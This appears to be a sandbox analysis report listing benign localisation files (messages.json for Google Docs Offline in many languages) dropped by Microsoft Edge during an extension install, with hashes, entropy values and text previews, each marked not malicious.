SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8128_699326984\CRX_INSTALL\_locales\mn\messages.json

Download File

